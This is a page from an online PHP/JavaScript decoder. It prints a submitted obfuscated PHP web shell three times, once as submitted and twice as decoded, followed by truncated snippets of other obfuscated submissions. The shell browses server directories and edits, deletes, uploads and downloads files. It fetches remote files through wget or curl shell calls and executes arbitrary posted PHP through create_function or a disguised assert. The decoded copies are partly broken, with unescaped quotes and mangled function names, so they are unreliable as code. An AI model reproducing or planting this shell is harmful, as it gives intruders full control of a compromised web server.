Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

function js__2($dle_16)
{
 if($dle_16 >= 1073741824) {$dle_16 = @round($dle_16 / 1073741824 * 100) / 100 . " GB";}
 elseif($dle_16 >= 1048576) {$dle_16 = @round($dle_16 / 1048576 * 100) / 100 . " MB";}
 elseif($dle_16 >= 1024) {$dle_16 = @round($dle_16 / 1024 * 100) / 100 . " KB";}
 else {$dle_16 = $dle_16 . " B";}
 return $dle_16;
}function js__3($dle_9){echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";echo "<tr><td><form method=POST>Open dr:<input type=text name=dir value=\"".$dle_9."\" size=100><input type=submit value=\"GO\"></form></td></tr>";
if (is_dir($dle_9)) {
    if (@$dle_17 = opendir($dle_9)) {
        while (($dle_11 = readdir($dle_17)) !== false) {
		  if(filetype($dle_9 . $dle_11)=="dir") $dle_18[]=$dle_11;
		  if(filetype($dle_9 . $dle_11)=="file")$dle_19[]=$dle_11;
		}closedir($dle_17);@sort($dle_18);@sort($dle_19);echo "<tr><td>lect drv:";for ($dle_20=ord('C'); $dle_20<=ord('Z'); $dle_20++) if (@$dle_17 = opendir(chr($dle_20).":/"))echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($dle_20).':/\'; document.reqs.submit();"> '.chr($dle_20).'<a/>';echo "</td></tr>";$dle_21="ph"."p_un"."ame";echo "<tr><td>OS: ".@$dle_21()."</td></tr><tr><td>dir & file</td><td>type</td><td>size</td><td>perm</td><td>option</td></tr>";for($dle_22=0;$dle_22<count($dle_18);$dle_22++) {$dle_23=$dle_9.$dle_18[$dle_22];echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$dle_23.'\'; document.reqs.submit();">'.$dle_18[$dle_22].'<a/></td><td>dir</td><td></td><td>'.js__1($dle_23).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$dle_23.'\'; document.reqs.submit();">X</a></td></tr>';  
	}for($dle_22=0;$dle_22<count($dle_19);$dle_22++) {$dle_24=$dle_9.$dle_19[$dle_22];echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();">'.$dle_19[$dle_22].'</a><br></td><td>file</td><td>'.js__2(filesize($dle_24)).'</td><td>'.js__1($dle_24).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >D</a><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >X</a></td>
</tr>'; }echo "</table>";}}}if($dle_10=="viewer"){js__3($dle_9);}if($dle_10=="editor"){function js__4($dle_11,$dle_25){
  $dle_26 = fopen($dle_11,"w+");fwrite($dle_26,$dle_25);fclose($dle_26);}
  function js__5($dle_11){if(!$dle_27 = fopen($dle_11, "r")) $dle_28="Cant \157pen JS.f\x69le, perm d\x65\156ied"; else {
  $dle_28 = fread($dle_27, filesize($dle_11));fclose($dle_27);}return htmlspecialchars($dle_28);}if(@$_POST['save'])js__4($dle_11,$_POST['data']);
echo "<form m\145\x74h\157d=\x22\120O\123T\042>\015\012<in\160\x75t ty\160e=\042hi\x64den\x22 name=\042action\x22\040\x76alue=\042editor\x22>\015\012<\151nput \x74ype=\x22h\151dden\x22 n\141m\x65=\x22file\042\040value=\"".$dle_11."\">
<\164\x65xtarea\x20n\141me=\042\x64ata\x22 r\x6fw\163=\042\0640\042 cols\075\042180\042>".@js__5($dle_11)."<\x2ftext\x61r\x65\x61\076\074br\076\015\x0a<\x69\x6eput \164yp\145=\x22su\x62\x6dit\x22 name=\042sav\145\042 value=\042save\042><input \164ype=\x22r\145set\042 value=\x22r\x65set\042\x3e<\057for\155>";}if($dle_10=="upload"){if(@$_POST['dirupload']!="") $dle_29=$_POST['dirupload'];else $dle_29=$dle_9;$dle_30="\074tr><td>\074form method=P\117ST en\143type\x3dm\x75\154t\151pa\162t\057\x66or\x6d\x2ddata>t\x6f dir:\074inp\165t type=te\x78t \x6eame=di\x72u\x70load\040va\154ue=\"".$dle_29."\" size=\x3100></tr></td><tr><t\x64>\x4ee\x77 JS.fil\145 name:<\151npu\x74 type=\164ext \x6eame=f\151le\x6eame></\164\x64>\x3c/t\162\x3e<\164r\x3e\074\164d\076\074in\160ut\040ty\160e=fi\x6ce name=file\x3e<inp\165t type=s\165b\155it\040na\x6d\145=upload\x6co\143\040v\141lue=\047Up\x6c\x6fad lo\x63a\x6c.JS file'></\x74d\x3e</tr>";
    echo $dle_30;
	echo "<tr>\074t\x64>\074select\x20size=\x221\x22 \x6e\x61me=\x22\x77ith\x22><\x6fption\040valu\x65=\x22wge\164\042>\167ge\164\074/\x6fption><optio\156 \x76\x61lu\x65\075\042fetc\150\x5c\x22>fetch</option>\074option\x20va\154\165e=\x22lyn\170\x22\x3elynx</optio\156><option val\x75e=\042links\x22>l\151nks</opt\x69\x6fn><option va\154ue=\042curl\x22>curl</\x6fption><\x6f\x70\164\x69on\040\166alue=\x22GET\042>GET</optio\156>\x3c/sele\x63t\076\x46i\154\x65 addres:\074\x69\156put type=t\145x\164 na\x6de=urldown\076\x0d\x0a<inp\165t \x74\171pe=\x73ubmit name=upload v\141l\165e=Upload></fo\x72m>\074/td></\164r\x3e";if(@$_POST['uploadloc']){if(@$_POST['filename']=="") $dle_31 = $dle_29.basename($_FILES['file']['name']); else $dle_31 = $dle_29."/".$_POST['filename'];
if(!file_exists($dle_29)){js__0($dle_29);}
if(file_exists($dle_31))echo "Fileik al\x72eady exi\x73ts"; elseif (move_uploaded_file($_FILES['file']['tmp_name'], $dle_31)) echo "Fi\x6ce\x69\x6b\040JS up\154oad o\153";}if(@$_POST['upload']){if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))switch($_POST['with']){case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;}}}
if($dle_10=="phpval"){echo "<\x66orm method=\x22P\117ST\x22><in\160ut ty\160e=\042hidden\x22 \156\x61me=\x22a\x63\164\151on\042 va\x6c\165e\075\042phpval\x22> &\154t;?php\074br><\x74extare\x61 name=\x22php\145\166\042 rows\x3d\0425\x22 co\x6cs=\0421\x350\042\x3e".@$_POST['phpev']."\074/t\145xtar\x65a>\074br> ?\x3e<br> \074i\156\160u\164 ty\x70e=\x22\x73ub\x6dit\x22 valu\145=\x22execute\042>\x3c/form>";}   $dle_32 = "ass"; $dle_32.="ert"; $dle_33 = 'cr'.'eate_func'.'tions';if(@$_POST['phpev']!=""){if (function_exists($dle_33)) {$dle_33('', '};'.$_POST['phpev'].'{');}else {$dle_32($_POST['phpev']);
}}}echo $dle_8;

Show other level

Decrypted code level 1:

function js__2($dle_16)
{
 if($dle_16 >= 1073741824) {$dle_16 = @round($dle_16 / 1073741824 * 100) / 100 . " GB";}
 elseif($dle_16 >= 1048576) {$dle_16 = @round($dle_16 / 1048576 * 100) / 100 . " MB";}
 elseif($dle_16 >= 1024) {$dle_16 = @round($dle_16 / 1024 * 100) / 100 . " KB";}
 else {$dle_16 = $dle_16 . " B";}
 return $dle_16;
}function js__3($dle_9){echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";echo "<tr><td><form method=POST>Open dr:<input type=text name=dir value=\"".$dle_9."\" size=100><input type=submit value=\"GO\"></form></td></tr>";
if (is_dir($dle_9)) {
    if (@$dle_17 = opendir($dle_9)) {
        while (($dle_11 = readdir($dle_17)) !== false) {
		  if(filetype($dle_9 . $dle_11)=="dir") $dle_18[]=$dle_11;
		  if(filetype($dle_9 . $dle_11)=="file")$dle_19[]=$dle_11;
		}closedir($dle_17);@sort($dle_18);@sort($dle_19);echo "<tr><td>lect drv:";for ($dle_20=ord('C'); $dle_20<=ord('Z'); $dle_20++) if (@$dle_17 = opendir(chr($dle_20).":/"))echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($dle_20).':/\'; document.reqs.submit();"> '.chr($dle_20).'<a/>';echo "</td></tr>";$dle_21="php_uname";echo "<tr><td>OS: ".@$dle_21()."</td></tr><tr><td>dir & file</td><td>type</td><td>size</td><td>perm</td><td>option</td></tr>";for($dle_22=0;$dle_22<count($dle_18);$dle_22++) {$dle_23=$dle_9.$dle_18[$dle_22];echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$dle_23.'\'; document.reqs.submit();">'.$dle_18[$dle_22].'<a/></td><td>dir</td><td></td><td>'.js__1($dle_23).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$dle_23.'\'; document.reqs.submit();">X</a></td></tr>';  
	}for($dle_22=0;$dle_22<count($dle_19);$dle_22++) {$dle_24=$dle_9.$dle_19[$dle_22];echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();">'.$dle_19[$dle_22].'</a><br></td><td>file</td><td>'.js__2(filesize($dle_24)).'</td><td>'.js__1($dle_24).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >D</a><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >X</a></td>
</tr>'; }echo "</table>";}}}if($dle_10=="viewer"){js__3($dle_9);}if($dle_10=="editor"){function js__4($dle_11,$dle_25){
  $dle_26 = fopen($dle_11,"w+");fwrite($dle_26,$dle_25);fclose($dle_26);}
  function js__5($dle_11){if(!$dle_27 = fopen($dle_11, "r")) $dle_28="Cant open JS.file, perm denied"; else {
  $dle_28 = fread($dle_27, filesize($dle_11));fclose($dle_27);}return htmlspecialchars($dle_28);}if(@$_POST['save'])js__4($dle_11,$_POST['data']);
echo "<form method="POST">
<input type="hidden" name="action" value="editor">
<input type="hidden" name="file" value=\"".$dle_11."\">
<textarea name="data" rows="40" cols="180">".@js__5($dle_11)."</textarea><br>
<input type="submit" name="save" value="save"><input type="reset" value="reset"></form>";}if($dle_10=="upload"){if(@$_POST['dirupload']!="") $dle_29=$_POST['dirupload'];else $dle_29=$dle_9;$dle_30="<tr><td><form method=POST enctype=multipart/form-data>to dir:<input type=text name=dirupload value=\"".$dle_29."\" size=100></tr></td><tr><td>New JS.file name:<input type=text name=filename></td></tr><tr><td><input type=file name=file><input type=submit name=uploadloc value='Upload local.JS file'></td></tr>";
    echo $dle_30;
	echo "<tr><td><select size="1" name="with"><option value="wget">wget</option><option value="fetch\">fetch</option><option value="lynx">lynx</option><option value="links">links</option><option value="curl">curl</option><option value="GET">GET</option></select>File addres:<input type=text name=urldown>
<input type=submit name=upload value=Upload></form></td></tr>";if(@$_POST['uploadloc']){if(@$_POST['filename']=="") $dle_31 = $dle_29.basename($_FILES['file']['name']); else $dle_31 = $dle_29."/".$_POST['filename'];
if(!file_exists($dle_29)){js__0($dle_29);}
if(file_exists($dle_31))echo "Fileik already exists"; elseif (move_uploaded_file($_FILES['file']['tmp_name'], $dle_31)) echo "Fileik JS upload ok";}if(@$_POST['upload']){if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))switch($_POST['with']){case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;}}}
if($dle_10=="phpval"){echo "<form method="POST"><input type="hidden" name="action" value="phpval"> &lt;?php<br><textarea name="phpev" rows="5" cols="150">".@$_POST['phpev']."</textarea><br><br> <input type="submit" value="execute"></form>";}   $dle_32 = "ass"; $dle_32.="ert"; $dle_33 = 'create_functions';if(@$_POST['phpev']!=""){if (function_exists($dle_33)) {$dle_33('', '};'.$_POST['phpev'].'{');}else {$dle_32($_POST['phpev']);
}}}echo $dle_8;

Decrypted code level 2:

function js__2($dle_16)
{
 if($dle_16 >= 1073741824) {$dle_16 = @round($dle_16 / 1073741824 * 100) / 100 . " GB";}
 elseif($dle_16 >= 1048576) {$dle_16 = @round($dle_16 / 1048576 * 100) / 100 . " MB";}
 elseif($dle_16 >= 1024) {$dle_16 = @round($dle_16 / 1024 * 100) / 100 . " KB";}
 else {$dle_16 = $dle_16 . " B";}
 return $dle_16;
}function js__3($dle_9){echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";echo "<tr><td><form method=POST>Open dr:<input type=text name=dir value=\"".$dle_9."\" size=100><input type=submit value=\"GO\"></form></td></tr>";
if (is_dir($dle_9)) {
    if (@$dle_17 = opendir($dle_9)) {
        while (($dle_11 = readdir($dle_17)) !== false) {
		  if(filetype($dle_9 . $dle_11)=="dir") $dle_18[]=$dle_11;
		  if(filetype($dle_9 . $dle_11)=="file")$dle_19[]=$dle_11;
		}closedir($dle_17);@sort($dle_18);@sort($dle_19);echo "<tr><td>lect drv:";for ($dle_20=ord('C'); $dle_20<=ord('Z'); $dle_20++) if (@$dle_17 = opendir(chr($dle_20).":/"))echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($dle_20).':/\'; document.reqs.submit();"> '.chr($dle_20).'<a/>';echo "</td></tr>";echo "<tr><td>OS: ".@"php_uname"()."</td></tr><tr><td>dir & file</td><td>type</td><td>size</td><td>perm</td><td>option</td></tr>";for($dle_22=0;$dle_22<count($dle_18);$dle_22++) {$dle_23=$dle_9.$dle_18[$dle_22];echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$dle_23.'\'; document.reqs.submit();">'.$dle_18[$dle_22].'<a/></td><td>dir</td><td></td><td>'.js__1($dle_23).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$dle_23.'\'; document.reqs.submit();">X</a></td></tr>';  
	}for($dle_22=0;$dle_22<count($dle_19);$dle_22++) {$dle_24=$dle_9.$dle_19[$dle_22];echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();">'.$dle_19[$dle_22].'</a><br></td><td>file</td><td>'.js__2(filesize($dle_24)).'</td><td>'.js__1($dle_24).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >D</a><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$dle_24.'\'; document.reqs.submit();" >X</a></td>
</tr>'; }echo "</table>";}}}if($dle_10=="viewer"){js__3($dle_9);}if($dle_10=="editor"){function js__4($dle_11,$dle_25){
  $dle_26 = fopen($dle_11,"w+");fwrite($dle_26,$dle_25);fclose($dle_26);}
  function js__5($dle_11){if(!$dle_27 = fopen($dle_11, "r")) $dle_28="Cant open JS.file, perm denied"; else {
  $dle_28 = fread($dle_27, filesize($dle_11));fclose($dle_27);}return htmlspecialchars($dle_28);}if(@$_POST['save'])js__4($dle_11,$_POST['data']);
echo "<form method="POST">
<input type="hidden" name="action" value="editor">
<input type="hidden" name="file" value=\"".$dle_11."\">
<textarea name="data" rows="40" cols="180">".@js__5($dle_11)."</textarea><br>
<input type="submit" name="save" value="save"><input type="reset" value="reset"></form>";}if($dle_10=="upload"){if(@$_POST['dirupload']!="") $dle_29=$_POST['dirupload'];else $dle_29=$dle_9;$dle_30="<tr><td><form method=POST enctype=multipart/form-data>to dir:<input type=text name=dirupload value=\"".$dle_29."\" size=100></tr></td><tr><td>New JS.file name:<input type=text name=filename></td></tr><tr><td><input type=file name=file><input type=submit name=uploadloc value='Upload local.JS file'></td></tr>";
    echo $dle_30;
	echo "<tr><td><select size="1" name="with"><option value="wget">wget</option><option value="fetch\">fetch</option><option value="lynx">lynx</option><option value="links">links</option><option value="curl">curl</option><option value="GET">GET</option></select>File addres:<input type=text name=urldown>
<input type=submit name=upload value=Upload></form></td></tr>";if(@$_POST['uploadloc']){if(@$_POST['filename']=="") $dle_31 = $dle_29.basename($_FILES['file']['name']); else $dle_31 = $dle_29."/".$_POST['filename'];
if(!file_exists($dle_29)){js__0($dle_29);}
if(file_exists($dle_31))echo "Fileik already exists"; elseif (move_uploaded_file($_FILES['file']['tmp_name'], $dle_31)) echo "Fileik JS upload ok";}if(@$_POST['upload']){if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))switch($_POST['with']){case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;}}}
if($dle_10=="phpval"){echo "<form method="POST"><input type="hidden" name="action" value="phpval"> &lt;?php<br><textarea name="phpev" rows="5" cols="150">".@$_POST['phpev']."</textarea><br><br> <input type="submit" value="execute"></form>";}    "ass".="ert"; if(@$_POST['phpev']!=""){if (function_exists('create_functions')) {'create_functions'('', '};'.$_POST['phpev'].'{');}else {"ass"($_POST['phpev']);
}}}echo $dle_8;

Recent submissions:

<?php $stt1 = "Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JT\x635PSdUoLikqSi3... function js__2($dle_16) { if($dle_16 >= 1073741824) {$dle_16 = @round($dle_16 / 1073741... $dle_0="md5";$dle_1 = $_GET['version']; if( $dle_0 ($dle_1) == "982c359de6ad3fc0ae1f77... <form m\145\x74h\157d=\x22\120O\123T\042>\015\012<in\160\x75t ty\160e=\042hi\x64den\x22 na... <S\x54YLE\x3e\x0d\012BOD\x59{f\157nt:\0408\160t \166erdana, gene\x76a, luc\x69da\x2c 'lu\1... <?php goto xmmx1;Bz1OM:rX0IN:goto zxK3v;xmmx1:goto BA_K2;goto gkU8K;O3dCe:pmcYb:goto HK6rD... <?php if(!function_exists('openssl_decrypt')){die('<h2>Function openssl_decrypt() not fou... <?php /* All Rights Reserved. This file may not be redistributed in whole or significant p... <?php $_f = chr($_x = 0x60 + 2*3 - 1) . chr($_x = $_x + 0x11) . chr($_x = $_x - 0x15) ... <?php namespace Pterodactyl\Http\Controllers\Admin\Arix; use Illuminate\View\View; use I...